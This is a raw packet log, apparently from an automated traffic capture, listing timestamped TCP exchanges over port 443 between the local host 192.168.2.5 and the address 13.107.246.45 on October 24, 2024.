Oct 24, 2024 22:10:00.423068047 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.423079014 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.423202038 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.423206091 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.424335003 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.424335003 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.424375057 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.424398899 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.430809975 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.431094885 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.431523085 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.489444017 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.489444017 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.489464998 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.489489079 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.521142960 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.521178007 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.522341013 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.523367882 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.523382902 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.525675058 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.525722027 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.526047945 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.526047945 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.526119947 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.527564049 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.527632952 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.528626919 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.528652906 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.528688908 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.529130936 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.529653072 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.529676914 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.529872894 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.529903889 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.529937029 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.530128002 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.530153990 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.530503035 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.530530930 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.248039007 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.248930931 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.248930931 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.248981953 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.249022961 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.266572952 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.267261982 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.267262936 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.267307043 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.267349958 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.272665977 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.272986889 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.273004055 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.273319006 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.273329020 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.299945116 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.300565958 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.300565958 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.300612926 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.300636053 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.302131891 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.302675009 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.302691936 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.302732944 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.302742958 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.378097057 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.378124952 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.378179073 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.378180981 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.378443956 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.378715992 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.378745079 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.378776073 CEST	56435	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.378791094 CEST	443	56435	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.386363029 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.386399031 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.386462927 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.386818886 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.386840105 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.414127111 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.414186954 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.414434910 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.414747000 CEST	56436	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.414758921 CEST	443	56436	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.414917946 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.415066004 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.415127039 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.417376995 CEST	56438	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.417382956 CEST	443	56438	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.420501947 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.420559883 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.420681000 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.421308041 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.421323061 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.422985077 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.423002958 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.423104048 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.423304081 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.423326015 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.432868958 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.432933092 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.433051109 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.433120012 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.433173895 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.433173895 CEST	56439	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.433222055 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.433248043 CEST	443	56439	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.434705973 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.435002089 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.435115099 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.435178995 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.435220957 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.436053991 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.436072111 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.436093092 CEST	56437	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.436105967 CEST	443	56437	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.437952042 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.437984943 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.438407898 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.439347982 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.439434052 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.439507008 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.439522982 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:01.439526081 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.439594984 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:01.439619064 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.120665073 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.121387005 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.121413946 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.122020960 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.122030020 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.162949085 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.166428089 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.166817904 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.184664965 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.184701920 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.185621977 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.185627937 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.186398983 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.186425924 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.187133074 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.187144995 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.187545061 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.187577963 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.188119888 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.188126087 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.190428019 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.191059113 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.191066027 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.191735029 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.191739082 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.253247023 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.253273010 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.253324032 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.253362894 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.253525972 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.253586054 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.253817081 CEST	56440	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.253839016 CEST	443	56440	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.258749962 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.258862972 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.259016991 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.259322882 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.259361982 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.314372063 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.314440966 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.314500093 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.314526081 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.314548969 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.314618111 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.314754009 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.314770937 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.314779997 CEST	56442	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.314785004 CEST	443	56442	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.315340996 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.315361023 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.315399885 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.315413952 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.315454006 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.315675974 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.315692902 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.315752983 CEST	56441	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.315759897 CEST	443	56441	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.317755938 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.317800045 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.318022013 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.318162918 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.318191051 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.318809032 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.318902016 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.318979025 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.319118977 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.319159031 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.323981047 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.324148893 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.324199915 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.324224949 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.324234009 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.324240923 CEST	56443	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.324244022 CEST	443	56443	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.326288939 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.326313972 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.326375961 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.326504946 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.326519012 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.433347940 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.433514118 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.433592081 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.433680058 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.433680058 CEST	56444	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.433710098 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.433733940 CEST	443	56444	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.436074972 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.436131954 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.436254978 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.436402082 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.436415911 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.998123884 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.998616934 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.998681068 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:02.999051094 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:02.999063969 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.054842949 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.055222988 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.055267096 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.055587053 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.055602074 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.057368994 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.057739019 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.057828903 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.058043003 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.058058023 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.074758053 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.075062037 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.075077057 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.075432062 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.075437069 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.129910946 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.130170107 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.130258083 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.130460024 CEST	56445	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.130502939 CEST	443	56445	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.135592937 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.135623932 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.135726929 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.136115074 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.136126995 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.178899050 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.179395914 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.179410934 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.179838896 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.179842949 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.188218117 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.188258886 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.188308001 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.188369036 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.188494921 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.188524008 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.188550949 CEST	56446	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.188565969 CEST	443	56446	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.189011097 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.189255953 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.189359903 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.189359903 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.189359903 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.190895081 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.190918922 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.190989017 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.191091061 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.191103935 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.191245079 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.191287041 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.191353083 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.191428900 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.191448927 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.208681107 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.208756924 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.208802938 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.208830118 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.208880901 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.208925009 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.209117889 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.209135056 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.209145069 CEST	56448	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.209150076 CEST	443	56448	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.217101097 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.217209101 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.217294931 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.217444897 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.217480898 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.310590029 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.310805082 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.310868025 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.310911894 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.310924053 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.310954094 CEST	56449	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.310960054 CEST	443	56449	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.313359022 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.313441038 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.313514948 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.313632965 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.313671112 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.489865065 CEST	56447	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.489947081 CEST	443	56447	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.869220018 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.869860888 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.869890928 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.873214006 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.873219013 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.930480003 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.930967093 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.931022882 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.931472063 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.931494951 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.937011003 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.937819958 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.937819958 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.937850952 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.937866926 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.972909927 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.973366976 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.973401070 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.973767042 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.973773956 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.999780893 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.999816895 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.999861002 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:03.999953032 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:03.999980927 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.000108957 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.000108957 CEST	56450	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.000123024 CEST	443	56450	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.000132084 CEST	443	56450	13.107.246.45	192.168.2.5
